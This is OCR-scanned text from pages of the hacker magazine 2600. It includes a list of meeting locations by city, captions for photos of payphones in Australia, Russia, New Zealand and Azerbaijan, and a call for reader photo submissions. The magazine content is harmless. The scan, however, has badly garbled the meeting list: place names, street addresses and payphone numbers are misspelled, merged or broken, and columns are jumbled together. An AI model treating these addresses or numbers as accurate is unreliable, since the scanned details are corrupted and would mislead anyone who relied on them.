ﬂonnm&m

Blasen
Sonderborg: Cale Druen. 730 pm,

Port Bald: Al Ihe loot of the Obwelisk
() Missadlah)

Unmversity of Flonda's Resz Union

food court. & pm.

Orlando. Fashion Square Mal Food
Gourmet and

Rochester Panera Bread, 2373 )
West Ridge Ad. 730 pm.

ﬁ"""’ a Ancna Drive,
Cade, 250-1 Racine
‘Bolse: BSU Studant Uinion Bullding,
Sl FOm e (it Searais. g /Commons Shopping Canter
wmmm&m.-v Morth D
‘West Acres Mail food court by
South 8 81 g
: Boys and Ohlo
mgllmm Cincinnatl: The Brew House, 1047
Ad. 7 pm. Mchilian 7 pm.
Urwversity Circie Arabsca,
Incilpna 11300 Juniper Rd. Uipstairs, b
Evensville: Bames and Noble cale at  1ight. second mom on left
624 5 Cireon Fiver Ad. ‘Columbus: Cormention center on
IFL Wgyna: Glenbrook Mall food count  sireet level arcund the comes from
TGl off 725 by the
comer of 11th and Alabama. m&m\ﬂm »
South Bend (Mishawaka) Farnes
and Notda cale, 4601 Grapa Rd. Oklshoma
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p i Tulss: Promanacs Mal food court
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Los - Union Station, wae food court, across from Bul
comer of Macy & Alameds Irsde & the bank of payphones thal
main antrance by bank of ncomeng calls.
Payphones: (213) 726619, 0520;

A25-8972, 6139704, 97,

Monterey Bricige Pub, Kansas City 1]
Whart #2 Bames & Noble, 19120 East 38 St
Secremento Found Tabie Puza at 5t Louls: Galenia Food Court.
127K 5L Borders Books and
San Rogenis Purza, 4150 Music %

Regents Fow #1710 Giensions Ave., one block south of
San 4 B Mall. 5:30 pm.

Plazy (inside). Payphones (415}

¥98-0800. GA0L, 9805, GE0S.

530 pm. Omaha: Crossrosds Mall Food

Mdm

Ardinglon: Pentagon In the

food count {near Au Bon Pain). 6 pm
Florida

FL Leuderdale: Broward Mal in the

food courl. 6 pm
Gainesville In the back of the

MNevada
Las ! MoMullan's Pub, 4850
W Tropcana Ave. (across the sireel
Orleans Casino). 7 pm.

Portland: Backspace Cafe, 1156 NW
S Ave. & pm.

Vermont
Burlington Borders Bocks af
Church St and Chery 51 on the
sacond floor of the cale.

Virginis
gton. (see Dwtrct of C
Virginia Beach Lynnhaven Madl on
Lyrntiaven Pafiway § om

‘Washingion
Beattie. Washinglon State Conven-
Son Conder. 2nd level. south side
6 pm

Wisconain
Madison Unon South (227 N
Farxiall Ave | on the ower level n




stralia. We don’t even want to know. Seen in
astle Hill, New South Wales.
Photo by P C

ssia. Found in Magadan on the Kamchatka
ninsula in Siberia, Payment is through tokens
rchased from the local post, telephone, and
legraph (PTT) office.

Photo by Intellstat
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New Zealand. Thls manahes to top the Australian
entry in the silliness category. This thing actually
exists on Steward Island where the population is
300. We have no idea how payment is arranged
but the canopy and phone book certainly add to
the experience.

Photo by Ben Auchter

-
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Azerbaijan. Seen in Baku on Neftchilar Praspekti

ON <

which we're told trapslates to “Oil Boulevard.’
On the other side of this phone is a totally different
looking payphone that we can’t print because
we're out of space,

Photo by Dominique

Visit http://www.2600.com/phones/ o see even more foreign payphone photos!
(Or turn to the inside front cover to see more right now.)




The Back GIWGI' Pllﬂlﬂ

Now this looks like it just has to be one of the coolest places in the world to hang out.
That is, assuming they have issues of 2600 to peruse. Thanks to Bernie C. for alerting us
to the existence of this cafe, located in Honolulu, Hawaii, right down the road from the
main campus of the University of Hawaii, Manoa.

"You should never deny vour kids education" is how contributor Ethem sums this one
up. This 12-month-old kid, incidentally, picked up a copy of 2600 on his own. Toddlers
and hacker zines both spend a lot of time in bathrooms, after all.

Seen a photo with “2600” in it or something of interest to the hacker world? Send it
on in! Be sure to use the highest quality settings on your camera to increase the odds
of it getting printed.

Email vour submissions to articles@2600.com or use snail mail to:
2600 Editorial Dept., PO Box 99, Middle Island, NY 11953 USA.

If we use vour picture, you'll get a free two-year subscription (or back issues) and a
2600 sweatshirl (or two t-shirts).
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